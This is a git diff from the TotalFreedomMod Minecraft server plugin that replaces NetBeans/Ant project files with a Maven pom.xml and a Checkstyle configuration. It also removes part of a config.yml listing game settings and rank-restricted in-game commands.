||||||
|
|
||||||
For list of available properties check the imported
|
|
||||||
nbproject/build-impl.xml file.
|
|
||||||
|
|
||||||
|
|
||||||
Another way to customize the build is by overriding existing main targets.
|
|
||||||
The targets of interest are:
|
|
||||||
|
|
||||||
-init-macrodef-javac: defines macro for javac compilation
|
|
||||||
-init-macrodef-junit: defines macro for junit execution
|
|
||||||
-init-macrodef-debug: defines macro for class debugging
|
|
||||||
-init-macrodef-java: defines macro for class execution
|
|
||||||
-do-jar-with-manifest: JAR building (if you are using a manifest)
|
|
||||||
-do-jar-without-manifest: JAR building (if you are not using a manifest)
|
|
||||||
run: execution of project
|
|
||||||
-javadoc-build: Javadoc generation
|
|
||||||
test-report: JUnit report generation
|
|
||||||
|
|
||||||
An example of overriding the target for project execution could look like this:
|
|
||||||
|
|
||||||
<target name="run" depends="TotalFreedomMod-impl.jar">
|
|
||||||
<exec dir="bin" executable="launcher.exe">
|
|
||||||
<arg file="${dist.jar}"/>
|
|
||||||
</exec>
|
|
||||||
</target>
|
|
||||||
|
|
||||||
Notice that the overridden target depends on the jar target and not only on
|
|
||||||
the compile target as the regular run target does. Again, for a list of available
|
|
||||||
properties which you can use, check the target you are overriding in the
|
|
||||||
nbproject/build-impl.xml file.
|
|
||||||
|
|
||||||
-->
|
|
||||||
<target name="-pre-jar">
|
|
||||||
<buildnumber file="buildnumber.properties" />
|
|
||||||
<propertyfile file="appinfo.properties">
|
|
||||||
<entry key="program.VERSION" default="0.0" />
|
|
||||||
<entry key="program.BUILDNUM" value="${build.number}" />
|
|
||||||
<entry key="program.BUILDDATE" type="date" value="now" pattern="MM/dd/yyyy hh:mm aa" />
|
|
||||||
</propertyfile>
|
|
||||||
<copy file="appinfo.properties" todir="${build.classes.dir}" />
|
|
||||||
</target>
|
|
||||||
</project>
|
|
@ -1,3 +0,0 @@
|
|||||||
#Build Number for ANT. Do not edit!
|
|
||||||
#Fri Aug 09 15:38:23 CEST 2013
|
|
||||||
build.number=379
|
|
133
checkstyle.xml
Normal file
133
checkstyle.xml
Normal file
@ -0,0 +1,133 @@
|
|||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE module PUBLIC
|
||||||
|
"-//Puppy Crawl//DTD Check Configuration 1.3//EN"
|
||||||
|
"http://www.puppycrawl.com/dtds/configuration_1_3.dtd">
|
||||||
|
|
||||||
|
<module name="Checker">
|
||||||
|
<property name="charset" value="UTF-8"/>
|
||||||
|
<property name="severity" value="warning"/>
|
||||||
|
<property name="fileExtensions" value="java, properties, xml"/>
|
||||||
|
|
||||||
|
<module name="SuppressionFilter">
|
||||||
|
<property name="file" value="supressions.xml" />
|
||||||
|
</module>
|
||||||
|
|
||||||
|
<module name="FileTabCharacter">
|
||||||
|
<property name="eachLine" value="true"/>
|
||||||
|
</module>
|
||||||
|
|
||||||
|
<module name="TreeWalker">
|
||||||
|
<module name="OuterTypeFilename"/>
|
||||||
|
<module name="IllegalTokenText">
|
||||||
|
<property name="tokens" value="STRING_LITERAL, CHAR_LITERAL"/>
|
||||||
|
<property name="format" value="\\u00(08|09|0(a|A)|0(c|C)|0(d|D)|22|27|5(C|c))|\\(0(10|11|12|14|15|42|47)|134)"/>
|
||||||
|
<property name="message" value="Avoid using corresponding octal or Unicode escape."/>
|
||||||
|
</module>
|
||||||
|
<module name="LineLength">
|
||||||
|
<property name="max" value="200"/>
|
||||||
|
<property name="ignorePattern" value="^package.*|^import.*|a href|href|http://|https://|ftp://"/>
|
||||||
|
</module>
|
||||||
|
<module name="AvoidStarImport"/>
|
||||||
|
<module name="OneTopLevelClass"/>
|
||||||
|
<module name="NoLineWrap"/>
|
||||||
|
<module name="NeedBraces"/>
|
||||||
|
<module name="LeftCurly">
|
||||||
|
<property name="option" value="nl"/>
|
||||||
|
</module>
|
||||||
|
<module name="RightCurly">
|
||||||
|
<property name="option" value="alone"/>
|
||||||
|
<property name="tokens" value="LITERAL_TRY, LITERAL_CATCH, LITERAL_FINALLY, LITERAL_IF, LITERAL_ELSE, CLASS_DEF, METHOD_DEF, CTOR_DEF, LITERAL_FOR, LITERAL_WHILE, LITERAL_DO, STATIC_INIT, INSTANCE_INIT"/>
|
||||||
|
</module>
|
||||||
|
<module name="WhitespaceAround">
|
||||||
|
<property name="allowEmptyConstructors" value="true"/>
|
||||||
|
<property name="allowEmptyMethods" value="true"/>
|
||||||
|
<property name="allowEmptyTypes" value="true"/>
|
||||||
|
<property name="allowEmptyLoops" value="true"/>
|
||||||
|
<message key="ws.notFollowed"
|
||||||
|
value="WhitespaceAround: ''{0}'' is not followed by whitespace. Empty blocks may only be represented as '{}' when not part of a multi-block statement (4.1.3)"/>
|
||||||
|
<message key="ws.notPreceded"
|
||||||
|
value="WhitespaceAround: ''{0}'' is not preceded with whitespace."/>
|
||||||
|
</module>
|
||||||
|
<module name="OneStatementPerLine"/>
|
||||||
|
<module name="ArrayTypeStyle"/>
|
||||||
|
<module name="FallThrough"/>
|
||||||
|
<module name="UpperEll"/>
|
||||||
|
<module name="ModifierOrder"/>
|
||||||
|
<module name="SeparatorWrap">
|
||||||
|
<property name="tokens" value="DOT"/>
|
||||||
|
<property name="option" value="nl"/>
|
||||||
|
</module>
|
||||||
|
<module name="SeparatorWrap">
|
||||||
|
<property name="tokens" value="COMMA"/>
|
||||||
|
<property name="option" value="EOL"/>
|
||||||
|
</module>
|
||||||
|
<module name="PackageName">
|
||||||
|
<property name="format" value="^[a-z]+(\.[a-z][a-z0-9]*)*$"/>
|
||||||
|
<message key="name.invalidPattern"
|
||||||
|
value="Package name ''{0}'' must match pattern ''{1}''."/>
|
||||||
|
</module>
|
||||||
|
<module name="TypeName">
|
||||||
|
<property name="format" value="(^[A-Z][0-9]?)$|(^[A-Z][_a-zA-Z0-9]*$)"/>
|
||||||
|
<message key="name.invalidPattern"
|
||||||
|
value="Type name ''{0}'' must match pattern ''{1}''."/>
|
||||||
|
</module>
|
||||||
|
<module name="MemberName">
|
||||||
|
<property name="format" value="^[a-z][_a-zA-Z0-9]*$"/>
|
||||||
|
<message key="name.invalidPattern"
|
||||||
|
value="Member name ''{0}'' must match pattern ''{1}''."/>
|
||||||
|
</module>
|
||||||
|
<module name="ParameterName">
|
||||||
|
<property name="format" value="^[a-z][_a-zA-Z0-9]*$"/>
|
||||||
|
<message key="name.invalidPattern"
|
||||||
|
value="Parameter name ''{0}'' must match pattern ''{1}''."/>
|
||||||
|
</module>
|
||||||
|
<module name="LocalVariableName">
|
||||||
|
<property name="tokens" value="VARIABLE_DEF"/>
|
||||||
|
<property name="format" value="^[a-z][_a-zA-Z0-9]*$"/>
|
||||||
|
<property name="allowOneCharVarInForLoop" value="true"/>
|
||||||
|
<message key="name.invalidPattern"
|
||||||
|
value="Local variable name ''{0}'' must match pattern ''{1}''."/>
|
||||||
|
</module>
|
||||||
|
<module name="ClassTypeParameterName">
|
||||||
|
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
|
||||||
|
<message key="name.invalidPattern"
|
||||||
|
value="Class type name ''{0}'' must match pattern ''{1}''."/>
|
||||||
|
</module>
|
||||||
|
<module name="MethodTypeParameterName">
|
||||||
|
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
|
||||||
|
<message key="name.invalidPattern"
|
||||||
|
value="Method type name ''{0}'' must match pattern ''{1}''."/>
|
||||||
|
</module>
|
||||||
|
<module name="NoFinalizer"/>
|
||||||
|
<module name="GenericWhitespace">
|
||||||
|
<message key="ws.followed"
|
||||||
|
value="GenericWhitespace ''{0}'' is followed by whitespace."/>
|
||||||
|
<message key="ws.preceded"
|
||||||
|
value="GenericWhitespace ''{0}'' is preceded with whitespace."/>
|
||||||
|
<message key="ws.illegalFollow"
|
||||||
|
value="GenericWhitespace ''{0}'' should followed by whitespace."/>
|
||||||
|
<message key="ws.notPreceded"
|
||||||
|
value="GenericWhitespace ''{0}'' is not preceded with whitespace."/>
|
||||||
|
</module>
|
||||||
|
<module name="OverloadMethodsDeclarationOrder"/>
|
||||||
|
<module name="CustomImportOrder"/><!-- http://checkstyle.sourceforge.net/config_imports.html -->
|
||||||
|
<module name="MethodParamPad"/>
|
||||||
|
<module name="OperatorWrap">
|
||||||
|
<property name="option" value="NL"/>
|
||||||
|
<property name="tokens" value="BAND, BOR, BSR, BXOR, DIV, EQUAL, GE, GT, LAND, LE, LITERAL_INSTANCEOF, LOR, LT, MINUS, MOD, NOT_EQUAL, PLUS, QUESTION, SL, SR, STAR "/>
|
||||||
|
</module>
|
||||||
|
<module name="AnnotationLocation">
|
||||||
|
<property name="tokens" value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF"/>
|
||||||
|
</module>
|
||||||
|
<module name="AnnotationLocation">
|
||||||
|
<property name="tokens" value="VARIABLE_DEF"/>
|
||||||
|
<property name="allowSamelineMultipleAnnotations" value="true"/>
|
||||||
|
</module>
|
||||||
|
<module name="MethodName">
|
||||||
|
<property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9_]*$"/>
|
||||||
|
<message key="name.invalidPattern"
|
||||||
|
value="Method name ''{0}'' must match pattern ''{1}''."/>
|
||||||
|
</module>
|
||||||
|
<module name="CommentsIndentation"/>
|
||||||
|
</module>
|
||||||
|
</module>
|
18
nb-configuration.xml
Normal file
18
nb-configuration.xml
Normal file
@ -0,0 +1,18 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project-shared-configuration>
|
||||||
|
<!--
|
||||||
|
This file contains additional configuration written by modules in the NetBeans IDE.
|
||||||
|
The configuration is intended to be shared among all the users of project and
|
||||||
|
therefore it is assumed to be part of version control checkout.
|
||||||
|
Without this configuration present, some functionality in the IDE may be limited or fail altogether.
|
||||||
|
-->
|
||||||
|
<properties xmlns="http://www.netbeans.org/ns/maven-properties-data/1">
|
||||||
|
<!--
|
||||||
|
Properties that influence various parts of the IDE, especially code formatting and the like.
|
||||||
|
You can copy and paste the single properties, into the pom.xml file and the IDE will pick them up.
|
||||||
|
That way multiple projects can share the same settings (useful for formatting rules for example).
|
||||||
|
Any value defined here will override the pom.xml file value but is only applicable to the current project.
|
||||||
|
-->
|
||||||
|
<netbeans.checkstyle.format>true</netbeans.checkstyle.format>
|
||||||
|
</properties>
|
||||||
|
</project-shared-configuration>
|
File diff suppressed because it is too large
Load Diff
@ -1,8 +0,0 @@
|
|||||||
build.xml.data.CRC32=7bf70ec5
|
|
||||||
build.xml.script.CRC32=b1031e10
|
|
||||||
build.xml.stylesheet.CRC32=28e38971@1.44.1.45
|
|
||||||
# This file is used by a NetBeans-based IDE to track changes in generated files such as build-impl.xml.
|
|
||||||
# Do not edit this file. You may delete it but then the IDE will never regenerate such files for you.
|
|
||||||
nbproject/build-impl.xml.data.CRC32=7bf70ec5
|
|
||||||
nbproject/build-impl.xml.script.CRC32=8511de95
|
|
||||||
nbproject/build-impl.xml.stylesheet.CRC32=6ddba6b6@1.53.1.46
|
|
@ -1,86 +0,0 @@
|
|||||||
annotation.processing.enabled=true
|
|
||||||
annotation.processing.enabled.in.editor=false
|
|
||||||
annotation.processing.processors.list=
|
|
||||||
annotation.processing.run.all.processors=true
|
|
||||||
annotation.processing.source.output=${build.generated.sources.dir}/ap-source-output
|
|
||||||
application.title=TotalFreedomMod
|
|
||||||
application.vendor=Michael
|
|
||||||
build.classes.dir=${build.dir}/classes
|
|
||||||
build.classes.excludes=**/*.java,**/*.form
|
|
||||||
# This directory is removed when the project is cleaned:
|
|
||||||
build.dir=build
|
|
||||||
build.generated.dir=${build.dir}/generated
|
|
||||||
build.generated.sources.dir=${build.dir}/generated-sources
|
|
||||||
# Only compile against the classpath explicitly listed here:
|
|
||||||
build.sysclasspath=ignore
|
|
||||||
build.test.classes.dir=${build.dir}/test/classes
|
|
||||||
build.test.results.dir=${build.dir}/test/results
|
|
||||||
# Uncomment to specify the preferred debugger connection transport:
|
|
||||||
#debug.transport=dt_socket
|
|
||||||
debug.classpath=\
|
|
||||||
${run.classpath}
|
|
||||||
debug.test.classpath=\
|
|
||||||
${run.test.classpath}
|
|
||||||
# This directory is removed when the project is cleaned:
|
|
||||||
dist.dir=dist
|
|
||||||
dist.jar=${dist.dir}/TotalFreedomMod.jar
|
|
||||||
dist.javadoc.dir=${dist.dir}/javadoc
|
|
||||||
endorsed.classpath=
|
|
||||||
excludes=
|
|
||||||
includes=**
|
|
||||||
jar.archive.disabled=${jnlp.enabled}
|
|
||||||
jar.compress=false
|
|
||||||
jar.index=${jnlp.enabled}
|
|
||||||
javac.classpath=\
|
|
||||||
${libs.CraftBukkit.classpath}:\
|
|
||||||
${libs.WorldEdit.classpath}:\
|
|
||||||
${libs.DisguiseCraft.classpath}
|
|
||||||
# Space-separated list of extra javac options
|
|
||||||
javac.compilerargs=-Xlint:unchecked -Xlint:deprecation
|
|
||||||
javac.deprecation=false
|
|
||||||
javac.processorpath=\
|
|
||||||
${javac.classpath}
|
|
||||||
javac.source=1.6
|
|
||||||
javac.target=1.6
|
|
||||||
javac.test.classpath=\
|
|
||||||
${javac.classpath}:\
|
|
||||||
${build.classes.dir}
|
|
||||||
javac.test.processorpath=\
|
|
||||||
${javac.test.classpath}
|
|
||||||
javadoc.additionalparam=
|
|
||||||
javadoc.author=false
|
|
||||||
javadoc.encoding=${source.encoding}
|
|
||||||
javadoc.noindex=false
|
|
||||||
javadoc.nonavbar=false
|
|
||||||
javadoc.notree=false
|
|
||||||
javadoc.private=false
|
|
||||||
javadoc.splitindex=true
|
|
||||||
javadoc.use=true
|
|
||||||
javadoc.version=false
|
|
||||||
javadoc.windowtitle=
|
|
||||||
jnlp.codebase.type=no.codebase
|
|
||||||
jnlp.descriptor=application
|
|
||||||
jnlp.enabled=false
|
|
||||||
jnlp.mixed.code=default
|
|
||||||
jnlp.offline-allowed=false
|
|
||||||
jnlp.signed=false
|
|
||||||
jnlp.signing=
|
|
||||||
jnlp.signing.alias=
|
|
||||||
jnlp.signing.keystore=
|
|
||||||
main.class=totalfreedommod.TotalFreedomMod
|
|
||||||
manifest.file=manifest.mf
|
|
||||||
meta.inf.dir=${src.dir}/META-INF
|
|
||||||
mkdist.disabled=false
|
|
||||||
platform.active=default_platform
|
|
||||||
run.classpath=\
|
|
||||||
${javac.classpath}:\
|
|
||||||
${build.classes.dir}
|
|
||||||
# Space-separated list of JVM arguments used when running the project
|
|
||||||
# (you may also define separate properties like run-sys-prop.name=value instead of -Dname=value
|
|
||||||
# or test-sys-prop.name=value to set system properties for unit tests):
|
|
||||||
run.jvmargs=
|
|
||||||
run.test.classpath=\
|
|
||||||
${javac.test.classpath}:\
|
|
||||||
${build.test.classes.dir}
|
|
||||||
source.encoding=UTF-8
|
|
||||||
src.dir=src
|
|
@ -1,13 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="UTF-8"?>
|
|
||||||
<project xmlns="http://www.netbeans.org/ns/project/1">
|
|
||||||
<type>org.netbeans.modules.java.j2seproject</type>
|
|
||||||
<configuration>
|
|
||||||
<data xmlns="http://www.netbeans.org/ns/j2se-project/3">
|
|
||||||
<name>TotalFreedomMod</name>
|
|
||||||
<source-roots>
|
|
||||||
<root id="src.dir"/>
|
|
||||||
</source-roots>
|
|
||||||
<test-roots/>
|
|
||||||
</data>
|
|
||||||
</configuration>
|
|
||||||
</project>
|
|
283
pom.xml
Normal file
283
pom.xml
Normal file
@ -0,0 +1,283 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||||
|
<modelVersion>4.0.0</modelVersion>
|
||||||
|
|
||||||
|
<groupId>me.totalfreedom</groupId>
|
||||||
|
<artifactId>totalfreedom</artifactId>
|
||||||
|
<version>5.0</version>
|
||||||
|
<packaging>jar</packaging>
|
||||||
|
|
||||||
|
<properties>
|
||||||
|
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
||||||
|
<tfm.build.version>${project.version}</tfm.build.version>
|
||||||
|
<tfm.build.codename>Electrum</tfm.build.codename>
|
||||||
|
<!-- <tfm.build.number>${maven.buildnumber}</tfm.build.number> -->
|
||||||
|
<tfm.build.date>${maven.build.timestamp}</tfm.build.date>
|
||||||
|
<tfm.build.author>${buildAuthor}</tfm.build.author>
|
||||||
|
<tfm.build.head>${buildHead}</tfm.build.head>
|
||||||
|
<jar.finalName>${project.name}</jar.finalName>
|
||||||
|
<maven.build.timestamp.format>dd/MM/yyyy hh:mm aa</maven.build.timestamp.format>
|
||||||
|
</properties>
|
||||||
|
|
||||||
|
<name>TotalFreedomMod</name>
|
||||||
|
<description>Server modification for the TotalFreedom server</description>
|
||||||
|
<url>https://github.com/TotalFreedom/TotalFreedomMod</url>
|
||||||
|
|
||||||
|
<licenses>
|
||||||
|
<license>
|
||||||
|
<name>TotalFreedom General License</name>
|
||||||
|
<url>https://github.com/TotalFreedom/License/blob/master/LICENSE.md</url>
|
||||||
|
</license>
|
||||||
|
</licenses>
|
||||||
|
|
||||||
|
<organization>
|
||||||
|
<name>Total Freedom</name>
|
||||||
|
<url>https://totalfreedom.me</url>
|
||||||
|
</organization>
|
||||||
|
|
||||||
|
<scm>
|
||||||
|
<connection>scm:git:git@github.com:TotalFreedom/TotalFreedomMod.git</connection>
|
||||||
|
<developerConnection>scm:git:git@github.com:TotalFreedom/TotalFreedomMod.git</developerConnection>
|
||||||
|
<url>git@github.com:TotalFreedom/TotalFreedomMod.git</url>
|
||||||
|
</scm>
|
||||||
|
|
||||||
|
<repositories>
|
||||||
|
<repository>
|
||||||
|
<id>ess-repo</id>
|
||||||
|
<url>http://repo.ess3.net</url>
|
||||||
|
</repository>
|
||||||
|
<repository>
|
||||||
|
<id>jitpack.io</id>
|
||||||
|
<url>https://jitpack.io</url>
|
||||||
|
</repository>
|
||||||
|
<repository>
|
||||||
|
<id>spigot-repo</id>
|
||||||
|
<url>https://hub.spigotmc.org/nexus/content/repositories/snapshots/</url>
|
||||||
|
</repository>
|
||||||
|
<!-- <repository>
|
||||||
|
<id>elmakers-repo</id>
|
||||||
|
<url>http://maven.elmakers.com/repository/</url>
|
||||||
|
</repository>-->
|
||||||
|
<repository>
|
||||||
|
<id>sk89q-snapshots</id>
|
||||||
|
<url>http://maven.sk89q.com/artifactory/repo</url>
|
||||||
|
</repository>
|
||||||
|
</repositories>
|
||||||
|
|
||||||
|
<dependencies>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.apache.commons</groupId>
|
||||||
|
<artifactId>commons-lang3</artifactId>
|
||||||
|
<version>3.6</version>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
<dependency>
|
||||||
|
<groupId>commons-io</groupId>
|
||||||
|
<artifactId>commons-io</artifactId>
|
||||||
|
<version>2.5</version>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.projectlombok</groupId>
|
||||||
|
<artifactId>lombok</artifactId>
|
||||||
|
<version>1.16.6</version>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.spigotmc</groupId>
|
||||||
|
<artifactId>spigot-api</artifactId>
|
||||||
|
<version>1.12-pre5-SNAPSHOT</version>
|
||||||
|
<scope>compile</scope>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
<dependency>
|
||||||
|
<groupId>com.github.Pravian</groupId>
|
||||||
|
<artifactId>Aero</artifactId>
|
||||||
|
<version>a0e1dc5</version>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
<dependency>
|
||||||
|
<groupId>com.github.TotalFreedom</groupId>
|
||||||
|
<artifactId>BukkitTelnet</artifactId>
|
||||||
|
<version>4.5-pre1</version>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
<dependency>
|
||||||
|
<groupId>net.ess3</groupId>
|
||||||
|
<artifactId>Essentials</artifactId>
|
||||||
|
<version>2.13.1</version>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
<dependency>
|
||||||
|
<groupId>com.github.TotalFreedom.TF-WorldEdit</groupId>
|
||||||
|
<artifactId>worldedit-bukkit</artifactId>
|
||||||
|
<version>6.1.0-TF</version>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
<dependency>
|
||||||
|
<groupId>com.github.TotalFreedom.TF-WorldEdit</groupId>
|
||||||
|
<artifactId>worldedit-core</artifactId>
|
||||||
|
<version>6.1.0-TF</version>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
</dependencies>
|
||||||
|
|
||||||
|
<build>
|
||||||
|
<!-- Filter resources for build.properties -->
|
||||||
|
<resources>
|
||||||
|
<resource>
|
||||||
|
<directory>src/main/resources</directory>
|
||||||
|
<filtering>true</filtering>
|
||||||
|
</resource>
|
||||||
|
</resources>
|
||||||
|
|
||||||
|
|
||||||
|
<plugins>
|
||||||
|
<!-- Compiler -->
|
||||||
|
<plugin>
|
||||||
|
<groupId>org.apache.maven.plugins</groupId>
|
||||||
|
<artifactId>maven-compiler-plugin</artifactId>
|
||||||
|
<version>3.3</version>
|
||||||
|
<configuration>
|
||||||
|
<outputFileName>TotalFreedomMod.jar</outputFileName>
|
||||||
|
<compilerVersion>1.7</compilerVersion>
|
||||||
|
<source>1.7</source>
|
||||||
|
<target>1.7</target>
|
||||||
|
</configuration>
|
||||||
|
</plugin>
|
||||||
|
|
||||||
|
<!-- Antrun -->
|
||||||
|
<plugin>
|
||||||
|
<artifactId>maven-antrun-plugin</artifactId>
|
||||||
|
<version>1.8</version>
|
||||||
|
<executions>
|
||||||
|
<execution>
|
||||||
|
<phase>initialize</phase>
|
||||||
|
<configuration>
|
||||||
|
<target>
|
||||||
|
<propertyfile file="build.properties" comment="Build information. Edit this to your liking.">
|
||||||
|
<entry key="buildAuthor" default="unknown" />
|
||||||
|
</propertyfile>
|
||||||
|
</target>
|
||||||
|
</configuration>
|
||||||
|
<goals>
|
||||||
|
<goal>run</goal>
|
||||||
|
</goals>
|
||||||
|
</execution>
|
||||||
|
</executions>
|
||||||
|
</plugin>
|
||||||
|
|
||||||
|
<!-- Properties -->
|
||||||
|
<plugin>
|
||||||
|
<groupId>org.codehaus.mojo</groupId>
|
||||||
|
<artifactId>properties-maven-plugin</artifactId>
|
||||||
|
<version>1.0.0</version>
|
||||||
|
<executions>
|
||||||
|
<execution>
|
||||||
|
<phase>initialize</phase>
|
||||||
|
<goals>
|
||||||
|
<goal>read-project-properties</goal>
|
||||||
|
</goals>
|
||||||
|
<configuration>
|
||||||
|
<files>
|
||||||
|
<file>${basedir}/build.properties</file>
|
||||||
|
</files>
|
||||||
|
</configuration>
|
||||||
|
</execution>
|
||||||
|
</executions>
|
||||||
|
</plugin>
|
||||||
|
|
||||||
|
<!-- Checkstyle -->
|
||||||
|
<plugin>
|
||||||
|
<groupId>org.apache.maven.plugins</groupId>
|
||||||
|
<version>2.17</version>
|
||||||
|
<artifactId>maven-checkstyle-plugin</artifactId>
|
||||||
|
<executions>
|
||||||
|
<execution>
|
||||||
|
<phase>process-sources</phase>
|
||||||
|
<goals>
|
||||||
|
<goal>check</goal>
|
||||||
|
</goals>
|
||||||
|
</execution>
|
||||||
|
</executions>
|
||||||
|
<configuration>
|
||||||
|
<configLocation>checkstyle.xml</configLocation>
|
||||||
|
<consoleOutput>true</consoleOutput>
|
||||||
|
<failsOnError>true</failsOnError>
|
||||||
|
<failOnViolation>true</failOnViolation>
|
||||||
|
</configuration>
|
||||||
|
</plugin>
|
||||||
|
|
||||||
|
<!-- Git describe -->
|
||||||
|
<plugin>
|
||||||
|
<groupId>com.lukegb.mojo</groupId>
|
||||||
|
<artifactId>gitdescribe-maven-plugin</artifactId>
|
||||||
|
<version>3.0</version>
|
||||||
|
<executions>
|
||||||
|
<execution>
|
||||||
|
<id>git-describe</id>
|
||||||
|
<phase>initialize</phase>
|
||||||
|
<goals>
|
||||||
|
<goal>gitdescribe</goal>
|
||||||
|
</goals>
|
||||||
|
<configuration>
|
||||||
|
<descriptionProperty>buildHead</descriptionProperty>
|
||||||
|
<extraArguments>
|
||||||
|
<param>--tags</param>
|
||||||
|
<param>--always</param>
|
||||||
|
<param>HEAD</param>
|
||||||
|
</extraArguments>
|
||||||
|
</configuration>
|
||||||
|
</execution>
|
||||||
|
</executions>
|
||||||
|
</plugin>
|
||||||
|
|
||||||
|
<!-- Buildnumber -->
|
||||||
|
<plugin>
|
||||||
|
<groupId>org.codehaus.mojo</groupId>
|
||||||
|
<artifactId>buildnumber-maven-plugin</artifactId>
|
||||||
|
<version>1.4</version>
|
||||||
|
<executions>
|
||||||
|
<execution>
|
||||||
|
<phase>generate-resources</phase>
|
||||||
|
<goals>
|
||||||
|
<goal>create</goal>
|
||||||
|
</goals>
|
||||||
|
</execution>
|
||||||
|
</executions>
|
||||||
|
|
||||||
|
<configuration>
|
||||||
|
<buildNumberPropertyName>maven.buildnumber</buildNumberPropertyName>
|
||||||
|
<buildNumberPropertiesFileLocation>${basedir}/build.properties</buildNumberPropertiesFileLocation>
|
||||||
|
<format>{0,number,#}</format>
|
||||||
|
<items>
|
||||||
|
<item>buildNumber</item>
|
||||||
|
</items>
|
||||||
|
</configuration>
|
||||||
|
</plugin>
|
||||||
|
</plugins>
|
||||||
|
</build>
|
||||||
|
|
||||||
|
|
||||||
|
<reporting>
|
||||||
|
<!-- Checkstyle -->
|
||||||
|
<plugins>
|
||||||
|
<plugin>
|
||||||
|
<groupId>org.apache.maven.plugins</groupId>
|
||||||
|
<artifactId>maven-jxr-plugin</artifactId>
|
||||||
|
<version>2.5</version>
|
||||||
|
</plugin>
|
||||||
|
<plugin>
|
||||||
|
<groupId>org.apache.maven.plugins</groupId>
|
||||||
|
<version>2.17</version>
|
||||||
|
<artifactId>maven-checkstyle-plugin</artifactId>
|
||||||
|
<configuration>
|
||||||
|
<configLocation>checkstyle.xml</configLocation>
|
||||||
|
<failOnViolation>true</failOnViolation>
|
||||||
|
<failsOnError>true</failsOnError>
|
||||||
|
<consoleOutput>true</consoleOutput>
|
||||||
|
</configuration>
|
||||||
|
</plugin>
|
||||||
|
</plugins>
|
||||||
|
</reporting>
|
||||||
|
</project>
|
137
src/config.yml
137
src/config.yml
@ -1,137 +0,0 @@
|
|||||||
# TotalFreedomMod v2.22 Configuration
|
|
||||||
# by Madgeek1450 and DarthSalamon
|
|
||||||
|
|
||||||
# Block placement prevention:
|
|
||||||
allow_fire_place: false
|
|
||||||
allow_fire_spread: false
|
|
||||||
allow_lava_damage: false
|
|
||||||
allow_lava_place: false
|
|
||||||
allow_water_place: false
|
|
||||||
allow_fluid_spread: false
|
|
||||||
allow_tnt_minecarts: false
|
|
||||||
|
|
||||||
# Explosion management:
|
|
||||||
allow_explosions: false
|
|
||||||
explosiveRadius: 4.0
|
|
||||||
|
|
||||||
# Blocked commands:
|
|
||||||
#
|
|
||||||
# How blocked commands work:
|
|
||||||
# All sections described below are delimited by colon-characters.
|
|
||||||
# Make sure that you block a command by it's main command name, not an alias
|
|
||||||
# -as all aliases are blocked by default. Commands are case-insensitive ofcourse.
|
|
||||||
# You can block specific subcommands aswell. eg: /mail sendall
|
|
||||||
#
|
|
||||||
# * The first section is a letter which indicates which rank may use this command
|
|
||||||
# Valid ranks:
|
|
||||||
# n - Nobody (Completely disabled)
|
|
||||||
# c - Senior Admins (Console)
|
|
||||||
# t - Telnet Admins (Console)
|
|
||||||
# s - SuperAdmins
|
|
||||||
# o - Ops (Non-Ops won't be able to use it)
|
|
||||||
#
|
|
||||||
# * The second section is a letter which indicates what to do when a player executes that command.
|
|
||||||
# Valid actions:
|
|
||||||
# b - Block the command
|
|
||||||
# a - Block the command and auto-eject that player (for ops and below)
|
|
||||||
# u - Block the command and Return an "Unknown command" message (Used to hide commands)
|
|
||||||
#
|
|
||||||
# * The third section is the command to be blocked, prefixed with a slash
|
|
||||||
#
|
|
||||||
# * The fourth section is the message to send to the player when executing that command.
|
|
||||||
# This should be ommited if unwanted. ChatColors are supported with the &-key. By default
|
|
||||||
# -the starting ChatColor is set to gray. You can use the default 'That command is blocked.' message
|
|
||||||
# by using a single underscore.
|
|
||||||
#
|
|
||||||
# Examples:
|
|
||||||
# - 'n:b:/mail sendall:&4You can't send mails to everyone!'
|
|
||||||
# - 's:a:/stop'
|
|
||||||
# - 'n:b:/ban:_'
|
|
||||||
#
|
|
||||||
blocked_commands:
|
|
||||||
# Disabled commands
|
|
||||||
- n:b:/time:Server-side time changing is disabled. Please use /ptime to set your own personal time.
|
|
||||||
- n:b:/md:This server now uses DisguiseCraft instead of MobDisguise. Type /d to disguise and /u to undisguise.
|
|
||||||
- n:b:/gamemode:Use /creative and /survival to set your gamemode.
|
|
||||||
- n:b:/gamerule:_
|
|
||||||
- n:b:/ban:_
|
|
||||||
- n:b:/pardon:_
|
|
||||||
- n:b:/toggledownfall:_
|
|
||||||
- n:b:/ban-ip:_
|
|
||||||
- n:b:/pardon-ip:_
|
|
||||||
|
|
||||||
# Superadmin commands
|
|
||||||
- s:b:/kick:_
|
|
||||||
- s:b:/socialspy:_
|
|
||||||
- s:b:/kill:_
|
|
||||||
- s:b:/clearhistory:_
|
|
||||||
- s:a:/stop:_
|
|
||||||
- s:a:/reload:_
|
|
||||||
- s:a:/nuke:_
|
|
||||||
- s:a:/save-all:_
|
|
||||||
- s:a:/save-on:_
|
|
||||||
- s:a:/save-off:_
|
|
||||||
|
|
||||||
# Automatically wipe dropped objects:
|
|
||||||
auto_wipe: true
|
|
||||||
|
|
||||||
# Nuking prevention:
|
|
